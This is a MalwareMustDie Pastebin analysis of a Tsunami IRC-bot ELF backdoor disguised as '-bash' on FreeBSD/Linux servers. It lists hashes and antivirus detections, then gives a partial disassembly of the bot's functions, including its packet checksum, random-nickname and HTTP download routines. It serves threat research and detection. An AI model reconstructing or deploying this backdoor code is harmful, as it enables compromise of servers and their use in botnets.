MalwareMustDie

#MalwareMustDie! Elf IRC-Backdoor FreeBSD/Linux

May 30th, 2013
1,954
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 75.07 KB | None | 0 0
  1. #MalwareMustDie! Elf IRC-BOT on FreeBSD servers
  2. target was Linux OS, gcc compiled traces found.
  3. [0x00000000]> !date
  4. Thu May 30 20:43:54 JST 2013
  5. Analysis: http://malwaremustdie.blogspot.jp/2013/05/story-of-unix-trojan-tsunami-ircbot-w.html
  6.  
  7. // hash: https://www.virustotal.com/en/file/6e4586e5ddf44da412e05543c275e466b9da0faa0cc20ee8a9cb2b2dfd48114e/analysis/1369913856/
  8. SHA256: 6e4586e5ddf44da412e05543c275e466b9da0faa0cc20ee8a9cb2b2dfd48114e
  9. SHA1: 13aa008b0f3c9e92450979ee52cb46accf49aff3
  10. MD5: 6547b92156b39cb3bb5371b17d2488f2
  11. File size: 18.5 KB ( 18902 bytes )
  12. File name: -bash
  13. File type: ELF
  14. Tags: elf
  15. Detection ratio: 7 / 47
  16. Analysis date: 2013-05-30 11:37:36 UTC ( 4 minutes ago )
  17. F-Secure : Generic.Malware.IFg.985D9435
  18. GData : ELF:Tsunami-L
  19. MicroWorld-eScan : Generic.Malware.IFg.985D9435
  20. Avast : ELF:Tsunami-L [Trj]
  21. Kaspersky : Backdoor.Linux.Tsunami.gen
  22. BitDefender : Generic.Malware.IFg.985D9435
  23. Emsisoft : Generic.Malware.IFg.985D9435 (B)
  24.  
  25. // reversed:
  26.  
  27. 08048d20: xor %ebp,%ebp
  28. 08048d22: push %ebp
  29. 08048d23: mov %esp,%ebp
  30. 08048d25: and $0xfffffff0,%esp
  31. 08048d28: lea 0x8(%ebp),%eax
  32. 08048d2b: sub $0x4,%esp
  33. 08048d2e: push %eax
  34. 08048d2f: pushl 0x4(%ebp)
  35. 08048d32: push %edx
  36. 08048d33: call 0x08048d40 <_start1>
  37. 08048d38: int3
  38. 08048d39: nop
  39. 08048d3a: nop
  40. 08048d3b: nop
  41. 08048d3c: nop
  42. 08048d3d: nop
  43. 08048d3e: nop
  44. 08048d3f: nop
  45.  
  46. # 08048d40 <_start1>:
  47. 08048d40: push %ebp
  48. 08048d41: mov %esp,%ebp
  49. 08048d43: push %edi
  50. 08048d44: push %esi
  51. 08048d45: push %ebx
  52. 08048d46: sub $0xc,%esp
  53. 08048d49: mov 0xc(%ebp),%esi
  54. 08048d4c: mov 0x10(%ebp),%ebx
  55. 08048d4f: test %esi,%esi
  56. 08048d51: lea 0x4(%ebx,%esi,4),%edi
  57. 08048d55: mov %edi,0x804c744
  58. 08048d5b: jle 0x08048d92 <_start1+0x52>
  59. 08048d5d: mov (%ebx),%eax
  60. 08048d5f: test %eax,%eax
  61. 08048d61: je 0x08048d92 <_start1+0x52>
  62. 08048d63: mov %eax,0x804c240
  63. 08048d68: movzbl (%eax),%edx
  64. 08048d6b: test %dl,%dl
  65. 08048d6d: je 0x08048d92 <_start1+0x52>
  66. 08048d6f: add $0x1,%eax
  67. 08048d72: jmp 0x08048d7e <_start1+0x3e>
  68. 08048d74: movzbl (%eax),%edx
  69. 08048d77: add $0x1,%eax
  70. 08048d7a: test %dl,%dl
  71. 08048d7c: je 0x08048d92 <_start1+0x52>
  72. 08048d7e: cmp $0x2f,%dl
  73. 08048d81: jne 0x08048d74 <_start1+0x34>
  74. 08048d83: mov %eax,0x804c240
  75. 08048d88: movzbl (%eax),%edx
  76. 08048d8b: add $0x1,%eax
  77. 08048d8e: test %dl,%dl
  78. 08048d90: jne 0x08048d7e <_start1+0x3e>
  79. 08048d92: mov $0x804c0a8,%eax
  80. 08048d97: test %eax,%eax
  81. 08048d99: je 0x08048dcf <_start1+0x8f>
  82. 08048d9b: mov 0x8(%ebp),%eax
  83. 08048d9e: mov %eax,(%esp)
  84. 08048da1: call 0x08048ac4 <atexit@plt>
  85. 08048da6: movl $0x804a97c,(%esp)
  86. 08048dad: call 0x08048ac4 <atexit@plt>
  87. 08048db2: call 0x08048a00 <_init>
  88. 08048db7: mov %edi,0x8(%esp)
  89. 08048dbb: mov %ebx,0x4(%esp)
  90. 08048dbf: mov %esi,(%esp)
  91. 08048dc2: call 0x0804a400 <main>
  92. 08048dc7: mov %eax,(%esp)
  93. 08048dca: call 0x08048cb4 <exit@plt>
  94. 08048dcf: call 0x08048b04 <_init_tls@plt>
  95. 08048dd4: jmp 0x08048da6 <_start1+0x66>
  96. 08048dd6: nop
  97. 08048dd7: nop
  98. 08048dd8: nop
  99. 08048dd9: nop
  100. 08048dda: nop
  101. 08048ddb: nop
  102. 08048ddc: nop
  103. 08048ddd: nop
  104. 08048dde: nop
  105. 08048ddf: nop
  106.  
  107. # 08048de0 <__do_global_dtors_aux>:
  108. 08048de0: push %ebp
  109. 08048de1: mov %esp,%ebp
  110. 08048de3: sub $0x8,%esp
  111. 08048de6: cmpb $0x0,0x804c318
  112. 08048ded: je 0x08048dfb <__do_global_dtors_aux+0x1b>
  113. 08048def: jmp 0x08048e0d <__do_global_dtors_aux+0x2d>
  114. 08048df1: add $0x4,%eax
  115. 08048df4: mov %eax,0x804c248
  116. 08048df9: call *%edx
  117. 08048dfb: mov 0x804c248,%eax
  118. 08048e00: mov (%eax),%edx
  119. 08048e02: test %edx,%edx
  120. 08048e04: jne 0x08048df1 <__do_global_dtors_aux+0x11>
  121. 08048e06: movb $0x1,0x804c318
  122. 08048e0d: leave
  123. 08048e0e: ret
  124. 08048e0f: nop
  125.  
  126. # 08048e10 <frame_dummy>:
  127. 08048e10: push %ebp
  128. 08048e11: mov %esp,%ebp
  129. 08048e13: sub $0x8,%esp
  130. 08048e16: mov 0x804c0a4,%eax
  131. 08048e1b: test %eax,%eax
  132. 08048e1d: je 0x08048e31 <frame_dummy+0x21>
  133. 08048e1f: mov $0x0,%eax
  134. 08048e24: test %eax,%eax
  135. 08048e26: je 0x08048e31 <frame_dummy+0x21>
  136. 08048e28: movl $0x804c0a4,(%esp)
  137. 08048e2f: call *%eax
  138. 08048e31: leave
  139. 08048e32: ret
  140. 08048e33: nop
  141. 08048e34: nop
  142. 08048e35: nop
  143. 08048e36: nop
  144. 08048e37: nop
  145. 08048e38: nop
  146. 08048e39: nop
  147. 08048e3a: nop
  148. 08048e3b: nop
  149. 08048e3c: nop
  150. 08048e3d: nop
  151. 08048e3e: nop
  152. 08048e3f: nop
  153.  
  154. # 08048e40 <strwildmatch>:
  155. 08048e40: push %ebp
  156. 08048e41: mov %esp,%ebp
  157. 08048e43: push %ebx
  158. 08048e44: sub $0x24,%esp
  159. 08048e47: mov 0x8(%ebp),%eax
  160. 08048e4a: movzbl (%eax),%eax
  161. 08048e4d: movsbl %al,%eax
  162. 08048e50: mov %eax,-0x18(%ebp)
  163. 08048e53: cmpl $0x2a,-0x18(%ebp)
  164. 08048e57: je 0x08048e7b <strwildmatch+0x3b>
  165. 08048e59: cmpl $0x3f,-0x18(%ebp)
  166. 08048e5d: je 0x08048ed2 <strwildmatch+0x92>
  167. 08048e5f: cmpl $0x0,-0x18(%ebp)
  168. 08048e63: je 0x08048e6a <strwildmatch+0x2a>
  169. 08048e65: jmp 0x08048f10 <strwildmatch+0xd0>
  170. 08048e6a: mov 0xc(%ebp),%eax
  171. 08048e6d: movzbl (%eax),%eax
  172. 08048e70: movsbl %al,%eax
  173. 08048e73: mov %eax,-0x14(%ebp)
  174. 08048e76: jmp 0x08048f6a <strwildmatch+0x12a>
  175. 08048e7b: mov 0x8(%ebp),%eax
  176. 08048e7e: add $0x1,%eax
  177. 08048e81: mov 0xc(%ebp),%edx
  178. 08048e84: mov %edx,0x4(%esp)
  179. 08048e88: mov %eax,(%esp)
  180. 08048e8b: call 0x08048e40 <strwildmatch>
  181. 08048e90: test %eax,%eax
  182. 08048e92: je 0x08048ec0 <strwildmatch+0x80>
  183. 08048e94: mov 0xc(%ebp),%eax
  184. 08048e97: movzbl (%eax),%eax
  185. 08048e9a: test %al,%al
  186. 08048e9c: je 0x08048eb7 <strwildmatch+0x77>
  187. 08048e9e: mov 0xc(%ebp),%eax
  188. 08048ea1: add $0x1,%eax
  189. 08048ea4: mov %eax,0x4(%esp)
  190. 08048ea8: mov 0x8(%ebp),%eax
  191. 08048eab: mov %eax,(%esp)
  192. 08048eae: call 0x08048e40 <strwildmatch>
  193. 08048eb3: test %eax,%eax
  194. 08048eb5: je 0x08048ec0 <strwildmatch+0x80>
  195. 08048eb7: movl $0x1,-0x10(%ebp)
  196. 08048ebe: jmp 0x08048ec7 <strwildmatch+0x87>
  197. 08048ec0: movl $0x0,-0x10(%ebp)
  198. 08048ec7: mov -0x10(%ebp),%eax
  199. 08048eca: mov %eax,-0x14(%ebp)
  200. 08048ecd: jmp 0x08048f6a <strwildmatch+0x12a>
  201. 08048ed2: mov 0xc(%ebp),%eax
  202. 08048ed5: movzbl (%eax),%eax
  203. 08048ed8: test %al,%al
  204. 08048eda: je 0x08048ef8 <strwildmatch+0xb8>
  205. 08048edc: mov 0xc(%ebp),%eax
  206. 08048edf: add $0x1,%eax
  207. 08048ee2: mov 0x8(%ebp),%edx
  208. 08048ee5: add $0x1,%edx
  209. 08048ee8: mov %eax,0x4(%esp)
  210. 08048eec: mov %edx,(%esp)
  211. 08048eef: call 0x08048e40 <strwildmatch>
  212. 08048ef4: test %eax,%eax
  213. 08048ef6: je 0x08048f01 <strwildmatch+0xc1>
  214. 08048ef8: movl $0x1,-0xc(%ebp)
  215. 08048eff: jmp 0x08048f08 <strwildmatch+0xc8>
  216. 08048f01: movl $0x0,-0xc(%ebp)
  217. 08048f08: mov -0xc(%ebp),%eax
  218. 08048f0b: mov %eax,-0x14(%ebp)
  219. 08048f0e: jmp 0x08048f6a <strwildmatch+0x12a>
  220. 08048f10: mov 0x8(%ebp),%eax
  221. 08048f13: movzbl (%eax),%eax
  222. 08048f16: movsbl %al,%eax
  223. 08048f19: mov %eax,(%esp)
  224. 08048f1c: call 0x08048f80 <__sbtoupper>
  225. 08048f21: mov %eax,%ebx
  226. 08048f23: mov 0xc(%ebp),%eax
  227. 08048f26: movzbl (%eax),%eax
  228. 08048f29: movsbl %al,%eax
  229. 08048f2c: mov %eax,(%esp)
  230. 08048f2f: call 0x08048f80 <__sbtoupper>
  231. 08048f34: cmp %eax,%ebx
  232. 08048f36: jne 0x08048f54 <strwildmatch+0x114>
  233. 08048f38: mov 0xc(%ebp),%eax
  234. 08048f3b: add $0x1,%eax
  235. 08048f3e: mov 0x8(%ebp),%edx
  236. 08048f41: add $0x1,%edx
  237. 08048f44: mov %eax,0x4(%esp)
  238. 08048f48: mov %edx,(%esp)
  239. 08048f4b: call 0x08048e40 <strwildmatch>
  240. 08048f50: test %eax,%eax
  241. 08048f52: je 0x08048f5d <strwildmatch+0x11d>
  242. 08048f54: movl $0x1,-0x8(%ebp)
  243. 08048f5b: jmp 0x08048f64 <strwildmatch+0x124>
  244. 08048f5d: movl $0x0,-0x8(%ebp)
  245. 08048f64: mov -0x8(%ebp),%eax
  246. 08048f67: mov %eax,-0x14(%ebp)
  247. 08048f6a: mov -0x14(%ebp),%eax
  248. 08048f6d: add $0x24,%esp
  249. 08048f70: pop %ebx
  250. 08048f71: pop %ebp
  251. 08048f72: ret
  252. 08048f73: lea 0x0(%esi),%esi
  253. 08048f79: lea 0x0(%edi),%edi
  254.  
  255. # 08048f80 <__sbtoupper>:
  256. 08048f80: push %ebp
  257. 08048f81: mov %esp,%ebp
  258. 08048f83: sub $0x4,%esp
  259. 08048f86: cmpl $0x0,0x8(%ebp)
  260. 08048f8a: js 0x08048fab <__sbtoupper+0x2b>
  261. 08048f8c: mov 0x804c300,%eax
  262. 08048f91: cmp %eax,0x8(%ebp)
  263. 08048f94: jge 0x08048fab <__sbtoupper+0x2b>
  264. 08048f96: mov 0x804c314,%edx
  265. 08048f9c: mov 0x8(%ebp),%eax
  266. 08048f9f: mov 0x834(%edx,%eax,4),%eax
  267. 08048fa6: mov %eax,-0x4(%ebp)
  268. 08048fa9: jmp 0x08048fb1 <__sbtoupper+0x31>
  269. 08048fab: mov 0x8(%ebp),%eax
  270. 08048fae: mov %eax,-0x4(%ebp)
  271. 08048fb1: mov -0x4(%ebp),%eax
  272. 08048fb4: leave
  273. 08048fb5: ret
  274. 08048fb6: lea 0x0(%esi),%esi
  275. 08048fb9: lea 0x0(%edi),%edi
  276.  
  277. # 08048fc0 <send_msg>:
  278. 08048fc0: push %ebp
  279. 08048fc1: mov %esp,%ebp
  280. 08048fc3: sub $0x28,%esp
  281. 08048fc6: lea 0x10(%ebp),%eax
  282. 08048fc9: mov %eax,-0x4(%ebp)
  283. 08048fcc: mov -0x4(%ebp),%eax
  284. 08048fcf: mov %eax,0x8(%esp)
  285. 08048fd3: mov 0xc(%ebp),%eax
  286. 08048fd6: mov %eax,0x4(%esp)
  287. 08048fda: movl $0x804c340,(%esp)
  288. 08048fe1: call 0x08048c74 <vsprintf@plt>
  289. 08048fe6: movl $0x804c340,(%esp)
  290. 08048fed: call 0x08048b84 <strlen@plt>
  291. 08048ff2: mov %eax,0x8(%esp)
  292. 08048ff6: movl $0x804c340,0x4(%esp)
  293. 08048ffe: mov 0x8(%ebp),%eax
  294. 08049001: mov %eax,(%esp)
  295. 08049004: call 0x08048cf4 <write@plt>
  296. 08049009: leave
  297. 0804900a: ret
  298. 0804900b: nop
  299. 0804900c: lea 0x0(%esi),%esi
  300.  
  301. # 08049010 <mfork>:
  302. 08049010: push %ebp
  303. 08049011: mov %esp,%ebp
  304. 08049013: sub $0x18,%esp
  305. 08049016: call 0x08048a84 <fork@plt>
  306. 0804901b: mov %eax,-0xc(%ebp)
  307. 0804901e: cmpl $0x0,-0xc(%ebp)
  308. 08049022: jne 0x0804902f <mfork+0x1f>
  309. 08049024: mov -0xc(%ebp),%eax
  310. 08049027: mov %eax,-0x14(%ebp)
  311. 0804902a: jmp 0x080490bb <mfork+0xab>
  312. 0804902f: mov 0x804c32c,%eax
  313. 08049034: add $0x1,%eax
  314. 08049037: mov %eax,0x804c32c
  315. 0804903c: mov 0x804c32c,%eax
  316. 08049041: add $0x1,%eax
  317. 08049044: shl $0x2,%eax
  318. 08049047: mov %eax,(%esp)
  319. 0804904a: call 0x08048a24 <malloc@plt>
  320. 0804904f: mov %eax,-0x8(%ebp)
  321. 08049052: movl $0x0,-0x4(%ebp)
  322. 08049059: jmp 0x0804907e <mfork+0x6e>
  323. 0804905b: mov -0x4(%ebp),%eax
  324. 0804905e: shl $0x2,%eax
  325. 08049061: mov %eax,%ecx
  326. 08049063: add -0x8(%ebp),%ecx
  327. 08049066: mov -0x4(%ebp),%eax
  328. 08049069: shl $0x2,%eax
  329. 0804906c: mov %eax,%edx
  330. 0804906e: mov 0x804c768,%eax
  331. 08049073: lea (%edx,%eax,1),%eax
  332. 08049076: mov (%eax),%eax
  333. 08049078: mov %eax,(%ecx)
  334. 0804907a: addl $0x1,-0x4(%ebp)
  335. 0804907e: mov 0x804c32c,%eax
  336. 08049083: sub $0x1,%eax
  337. 08049086: cmp -0x4(%ebp),%eax
  338. 08049089: ja 0x0804905b <mfork+0x4b>
  339. 0804908b: mov -0x8(%ebp),%edx
  340. 0804908e: sub $0x4,%edx
  341. 08049091: mov 0x804c32c,%eax
  342. 08049096: shl $0x2,%eax
  343. 08049099: add %eax,%edx
  344. 0804909b: mov -0xc(%ebp),%eax
  345. 0804909e: mov %eax,(%edx)
  346. 080490a0: mov 0x804c768,%eax
  347. 080490a5: mov %eax,(%esp)
  348. 080490a8: call 0x08048d04 <free@plt>
  349. 080490ad: mov -0x8(%ebp),%eax
  350. 080490b0: mov %eax,0x804c768
  351. 080490b5: mov -0xc(%ebp),%eax
  352. 080490b8: mov %eax,-0x14(%ebp)
  353. 080490bb: mov -0x14(%ebp),%eax
  354. 080490be: leave
  355. 080490bf: ret
  356.  
  357. # 080490c0 <filter>:
  358. 080490c0: push %ebp
  359. 080490c1: mov %esp,%ebp
  360. 080490c3: push %ebx
  361. 080490c4: sub $0x4,%esp
  362. 080490c7: jmp 0x080490e0 <filter+0x20>
  363. 080490c9: mov 0x8(%ebp),%ebx
  364. 080490cc: sub $0x1,%ebx
  365. 080490cf: mov 0x8(%ebp),%eax
  366. 080490d2: mov %eax,(%esp)
  367. 080490d5: call 0x08048b84 <strlen@plt>
  368. 080490da: lea (%ebx,%eax,1),%eax
  369. 080490dd: movb $0x0,(%eax)
  370. 080490e0: mov 0x8(%ebp),%ebx
  371. 080490e3: sub $0x1,%ebx
  372. 080490e6: mov 0x8(%ebp),%eax
  373. 080490e9: mov %eax,(%esp)
  374. 080490ec: call 0x08048b84 <strlen@plt>
  375. 080490f1: lea (%ebx,%eax,1),%eax
  376. 080490f4: movzbl (%eax),%eax
  377. 080490f7: cmp $0xd,%al
  378. 080490f9: je 0x080490c9 <filter+0x9>
  379. 080490fb: mov 0x8(%ebp),%ebx
  380. 080490fe: sub $0x1,%ebx
  381. 08049101: mov 0x8(%ebp),%eax
  382. 08049104: mov %eax,(%esp)
  383. 08049107: call 0x08048b84 <strlen@plt>
  384. 0804910c: lea (%ebx,%eax,1),%eax
  385. 0804910f: movzbl (%eax),%eax
  386. 08049112: cmp $0xa,%al
  387. 08049114: je 0x080490c9 <filter+0x9>
  388. 08049116: add $0x4,%esp
  389. 08049119: pop %ebx
  390. 0804911a: pop %ebp
  391. 0804911b: ret
  392. 0804911c: lea 0x0(%esi),%esi
  393.  
  394. # 08049120 <makestring>:
  395. 08049120: push %ebp
  396. 08049121: mov %esp,%ebp
  397. 08049123: push %esi
  398. 08049124: push %ebx
  399. 08049125: sub $0x30,%esp
  400. 08049128: movl $0x9,-0x10(%ebp)
  401. 0804912f: mov -0x10(%ebp),%eax
  402. 08049132: add $0x1,%eax
  403. 08049135: mov %eax,(%esp)
  404. 08049138: call 0x08048a24 <malloc@plt>
  405. 0804913d: mov %eax,-0x14(%ebp)
  406. 08049140: mov -0x10(%ebp),%eax
  407. 08049143: add $0x1,%eax
  408. 08049146: mov %eax,0x8(%esp)
  409. 0804914a: movl $0x0,0x4(%esp)
  410. 08049152: mov -0x14(%ebp),%eax
  411. 08049155: mov %eax,(%esp)
  412. 08049158: call 0x08048c94 <memset@plt>
  413. 0804915d: movl $0x0,-0xc(%ebp)
  414. 08049164: jmp 0x080491a8 <makestring+0x88>
  415. 08049166: mov -0xc(%ebp),%eax
  416. 08049169: mov %eax,%ebx
  417. 0804916b: add -0x14(%ebp),%ebx
  418. 0804916e: call 0x08048b14 <rand@plt>
  419. 08049173: mov %eax,%ecx
  420. 08049175: movl $0x4ec4ec4f,-0x20(%ebp)
  421. 0804917c: mov -0x20(%ebp),%eax
  422. 0804917f: imul %ecx
  423. 08049181: sar $0x3,%edx
  424. 08049184: mov %ecx,%eax
  425. 08049186: sar $0x1f,%eax
  426. 08049189: mov %edx,%esi
  427. 0804918b: sub %eax,%esi
  428. 0804918d: mov %esi,-0x1c(%ebp)
  429. 08049190: imul $0x1a,-0x1c(%ebp),%eax
  430. 08049194: mov %ecx,%edx
  431. 08049196: sub %eax,%edx
  432. 08049198: mov %edx,-0x1c(%ebp)
  433. 0804919b: movzbl -0x1c(%ebp),%eax
  434. 0804919f: add $0x41,%eax
  435. 080491a2: mov %al,(%ebx)
  436. 080491a4: addl $0x1,-0xc(%ebp)
  437. 080491a8: mov -0xc(%ebp),%eax
  438. 080491ab: cmp -0x10(%ebp),%eax
  439. 080491ae: jl 0x08049166 <makestring+0x46>
  440. 080491b0: mov -0x14(%ebp),%eax
  441. 080491b3: add $0x30,%esp
  442. 080491b6: pop %ebx
  443. 080491b7: pop %esi
  444. 080491b8: pop %ebp
  445. 080491b9: ret
  446. 080491ba: lea 0x0(%esi),%esi
  447.  
  448. # 080491c0 <pow>:
  449. 080491c0: push %ebp
  450. 080491c1: mov %esp,%ebp
  451. 080491c3: sub $0xc,%esp
  452. 080491c6: cmpl $0x0,0xc(%ebp)
  453. 080491ca: jne 0x080491d5 <pow+0x15>
  454. 080491cc: movl $0x1,-0x4(%ebp)
  455. 080491d3: jmp 0x08049201 <pow+0x41>
  456. 080491d5: cmpl $0x1,0xc(%ebp)
  457. 080491d9: jne 0x080491e3 <pow+0x23>
  458. 080491db: mov 0x8(%ebp),%eax
  459. 080491de: mov %eax,-0x4(%ebp)
  460. 080491e1: jmp 0x08049201 <pow+0x41>
  461. 080491e3: mov 0xc(%ebp),%eax
  462. 080491e6: sub $0x1,%eax
  463. 080491e9: mov %eax,0x4(%esp)
  464. 080491ed: mov 0x8(%ebp),%eax
  465. 080491f0: mov %eax,(%esp)
  466. 080491f3: call 0x080491c0 <pow>
  467. 080491f8: mov %eax,%edx
  468. 080491fa: imul 0x8(%ebp),%edx
  469. 080491fe: mov %edx,-0x4(%ebp)
  470. 08049201: mov -0x4(%ebp),%eax
  471. 08049204: leave
  472. 08049205: ret
  473. 08049206: lea 0x0(%esi),%esi
  474. 08049209: lea 0x0(%edi),%edi
  475.  
  476. # 08049210 <in_cksum>:
  477. 08049210: push %ebp
  478. 08049211: mov %esp,%ebp
  479. 08049213: sub $0x1c,%esp
  480. 08049216: mov 0xc(%ebp),%eax
  481. 08049219: mov %eax,-0x1c(%ebp)
  482. 0804921c: mov 0x8(%ebp),%edx
  483. 0804921f: mov %edx,-0x18(%ebp)
  484. 08049222: movl $0x0,-0x14(%ebp)
  485. 08049229: movw $0x0,-0x2(%ebp)
  486. 0804922f: jmp 0x08049245 <in_cksum+0x35>
  487. 08049231: mov -0x18(%ebp),%edx
  488. 08049234: movzwl (%edx),%eax
  489. 08049237: movzwl %ax,%eax
  490. 0804923a: add %eax,-0x14(%ebp)
  491. 0804923d: addl $0x2,-0x18(%ebp)
  492. 08049241: subl $0x2,-0x1c(%ebp)
  493. 08049245: cmpl $0x1,-0x1c(%ebp)
  494. 08049249: jg 0x08049231 <in_cksum+0x21>
  495. 0804924b: cmpl $0x1,-0x1c(%ebp)
  496. 0804924f: jne 0x08049266 <in_cksum+0x56>
  497. 08049251: lea -0x2(%ebp),%edx
  498. 08049254: mov -0x18(%ebp),%eax
  499. 08049257: movzbl (%eax),%eax
  500. 0804925a: mov %al,(%edx)
  501. 0804925c: movzwl -0x2(%ebp),%eax
  502. 08049260: movzwl %ax,%eax
  503. 08049263: add %eax,-0x14(%ebp)
  504. 08049266: mov -0x14(%ebp),%edx
  505. 08049269: sar $0x10,%edx
  506. 0804926c: movzwl -0x14(%ebp),%eax
  507. 08049270: add %eax,%edx
  508. 08049272: mov %edx,-0x14(%ebp)
  509. 08049275: mov -0x14(%ebp),%eax
  510. 08049278: sar $0x10,%eax
  511. 0804927b: add %eax,-0x14(%ebp)
  512. 0804927e: movzwl -0x14(%ebp),%eax
  513. 08049282: not %eax
  514. 08049284: mov %ax,-0x2(%ebp)
  515. 08049288: movzwl -0x2(%ebp),%eax
  516. 0804928c: movzwl %ax,%eax
  517. 0804928f: leave
  518. 08049290: ret
  519. 08049291: jmp 0x080492a0 <get>
  520. 08049293: nop
  521. 08049294: nop
  522. 08049295: nop
  523. 08049296: nop
  524. 08049297: nop
  525. 08049298: nop
  526. 08049299: nop
  527. 0804929a: nop
  528. 0804929b: nop
  529. 0804929c: nop
  530. 0804929d: nop
  531. 0804929e: nop
  532. 0804929f: nop
  533.  
  534. # 080492a0 <get>:
  535. 080492a0: push %ebp
  536. 080492a1: mov %esp,%ebp
  537. 080492a3: push %ebx
  538. 080492a4: sub $0x1454,%esp
  539. 080492aa: mov 0xc(%ebp),%eax
  540. 080492ad: mov %eax,(%esp)
  541. 080492b0: call 0x08049010 <mfork>
  542. 080492b5: test %eax,%eax
  543. 080492b7: jne 0x0804969e <get+0x3fe>
  544. 080492bd: cmpl $0x1,0x10(%ebp)
  545. 080492c1: jg 0x080492e9 <get+0x49>
  546. 080492c3: mov 0xc(%ebp),%eax
  547. 080492c6: mov %eax,0x8(%esp)
  548. 080492ca: movl $0x804a9a8,0x4(%esp)
  549. 080492d2: mov 0x8(%ebp),%eax
  550. 080492d5: mov %eax,(%esp)
  551. 080492d8: call 0x08048fc0 <send_msg>
  552. 080492dd: movl $0x0,(%esp)
  553. 080492e4: call 0x08048cb4 <exit@plt>
  554. 080492e9: movl $0x0,0x8(%esp)
  555. 080492f1: movl $0x1,0x4(%esp)
  556. 080492f9: movl $0x2,(%esp)
  557. 08049300: call 0x08048ae4 <socket@plt>
  558. 08049305: mov %eax,-0x28(%ebp)
  559. 08049308: cmpl $0xffffffff,-0x28(%ebp)
  560. 0804930c: jne 0x08049334 <get+0x94>
  561. 0804930e: mov 0xc(%ebp),%eax
  562. 08049311: mov %eax,0x8(%esp)
  563. 08049315: movl $0x804a9cc,0x4(%esp)
  564. 0804931d: mov 0x8(%ebp),%eax
  565. 08049320: mov %eax,(%esp)
  566. 08049323: call 0x08048fc0 <send_msg>
  567. 08049328: movl $0x0,(%esp)
  568. 0804932f: call 0x08048cb4 <exit@plt>
  569. 08049334: mov 0x14(%ebp),%eax
  570. 08049337: add $0x4,%eax
  571. 0804933a: mov (%eax),%eax
  572. 0804933c: movl $0x7,0x8(%esp)
  573. 08049344: movl $0x804a9f2,0x4(%esp)
  574. 0804934c: mov %eax,(%esp)
  575. 0804934f: call 0x08048ba4 <strncmp@plt>
  576. 08049354: test %eax,%eax
  577. 08049356: jne 0x08049377 <get+0xd7>
  578. 08049358: mov 0x14(%ebp),%eax
  579. 0804935b: add $0x4,%eax
  580. 0804935e: mov (%eax),%eax
  581. 08049360: add $0x7,%eax
  582. 08049363: mov %eax,0x4(%esp)
  583. 08049367: lea -0x438(%ebp),%eax
  584. 0804936d: mov %eax,(%esp)
  585. 08049370: call 0x08048ca4 <strcpy@plt>
  586. 08049375: jmp 0x08049391 <get+0xf1>
  587. 08049377: mov 0x14(%ebp),%eax
  588. 0804937a: add $0x4,%eax
  589. 0804937d: mov (%eax),%eax
  590. 0804937f: mov %eax,0x4(%esp)
  591. 08049383: lea -0x438(%ebp),%eax
  592. 08049389: mov %eax,(%esp)
  593. 0804938c: call 0x08048ca4 <strcpy@plt>
  594. 08049391: movl $0x0,-0x24(%ebp)
  595. 08049398: jmp 0x0804939e <get+0xfe>
  596. 0804939a: addl $0x1,-0x24(%ebp)
  597. 0804939e: mov -0x24(%ebp),%ebx
  598. 080493a1: lea -0x438(%ebp),%eax
  599. 080493a7: mov %eax,(%esp)
  600. 080493aa: call 0x08048b84 <strlen@plt>
  601. 080493af: cmp %eax,%ebx
  602. 080493b1: jae 0x080493c2 <get+0x122>
  603. 080493b3: mov -0x24(%ebp),%eax
  604. 080493b6: movzbl -0x438(%ebp,%eax,1),%eax
  605. 080493be: cmp $0x2f,%al
  606. 080493c0: jne 0x0804939a <get+0xfa>
  607. 080493c2: mov -0x24(%ebp),%eax
  608. 080493c5: movb $0x0,-0x438(%ebp,%eax,1)
  609. 080493cd: movb $0x2,-0x37(%ebp)
  610. 080493d1: movw $0x5000,-0x36(%ebp)
  611. 080493d7: lea -0x438(%ebp),%eax
  612. 080493dd: mov %eax,(%esp)
  613. 080493e0: call 0x08048a94 <__inet_addr@plt>
  614. 080493e5: mov %eax,-0x1c(%ebp)
  615. 080493e8: cmpl $0xffffffff,-0x1c(%ebp)
  616. 080493ec: jne 0x08049453 <get+0x1b3>
  617. 080493ee: lea -0x438(%ebp),%eax
  618. 080493f4: mov %eax,(%esp)
  619. 080493f7: call 0x08048c14 <gethostbyname@plt>
  620. 080493fc: mov %eax,-0x14(%ebp)
  621. 080493ff: cmpl $0x0,-0x14(%ebp)
  622. 08049403: jne 0x0804942b <get+0x18b>
  623. 08049405: mov 0xc(%ebp),%eax
  624. 08049408: mov %eax,0x8(%esp)
  625. 0804940c: movl $0x804a9fc,0x4(%esp)
  626. 08049414: mov 0x8(%ebp),%eax
  627. 08049417: mov %eax,(%esp)
  628. 0804941a: call 0x08048fc0 <send_msg>
  629. 0804941f: movl $0x0,(%esp)
  630. 08049426: call 0x08048cb4 <exit@plt>
  631. 0804942b: mov -0x14(%ebp),%eax
  632. 0804942e: mov 0xc(%eax),%eax
  633. 08049431: mov %eax,%edx
  634. 08049433: mov -0x14(%ebp),%eax
  635. 08049436: mov 0x10(%eax),%eax
  636. 08049439: mov (%eax),%eax
  637. 0804943b: mov %edx,0x8(%esp)
  638. 0804943f: mov %eax,0x4(%esp)
  639. 08049443: lea -0x38(%ebp),%eax
  640. 08049446: add $0x4,%eax
  641. 08049449: mov %eax,(%esp)
  642. 0804944c: call 0x08048c64 <memcpy@plt>
  643. 08049451: jmp 0x08049459 <get+0x1b9>
  644. 08049453: mov -0x1c(%ebp),%eax
  645. 08049456: mov %eax,-0x34(%ebp)
  646. 08049459: movl $0x8,0x8(%esp)
  647. 08049461: movl $0x0,0x4(%esp)
  648. 08049469: lea -0x38(%ebp),%eax
  649. 0804946c: add $0x8,%eax
  650. 0804946f: mov %eax,(%esp)
  651. 08049472: call 0x08048c94 <memset@plt>
  652. 08049477: lea -0x38(%ebp),%eax
  653. 0804947a: movl $0x10,0x8(%esp)
  654. 08049482: mov %eax,0x4(%esp)
  655. 08049486: mov -0x28(%ebp),%eax
  656. 08049489: mov %eax,(%esp)
  657. 0804948c: call 0x08048af4 <connect@plt>
  658. 08049491: test %eax,%eax
  659. 08049493: je 0x080494bb <get+0x21b>
  660. 08049495: mov 0xc(%ebp),%eax
  661. 08049498: mov %eax,0x8(%esp)
  662. 0804949c: movl $0x804aa24,0x4(%esp)
  663. 080494a4: mov 0x8(%ebp),%eax
  664. 080494a7: mov %eax,(%esp)
  665. 080494aa: call 0x08048fc0 <send_msg>
  666. 080494af: movl $0x0,(%esp)
  667. 080494b6: call 0x08048cb4 <exit@plt>
  668. 080494bb: mov -0x24(%ebp),%eax
